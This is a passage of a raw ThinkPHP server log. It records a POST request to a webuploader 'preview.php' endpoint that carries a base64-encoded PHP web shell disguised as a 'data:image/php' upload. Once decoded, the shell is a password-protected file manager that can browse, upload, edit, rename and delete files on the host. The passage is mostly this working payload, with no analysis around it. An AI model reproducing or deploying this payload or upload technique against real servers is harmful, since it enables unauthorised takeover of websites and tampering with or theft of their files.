iZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'admin' => 'plugins', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:09:16+08:00 ] 119.42.146.234 POST 59.110.137.245/static/hui/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002730s] [吞吐率:366.28req/s] [内存消耗:196.85kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'hui', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSB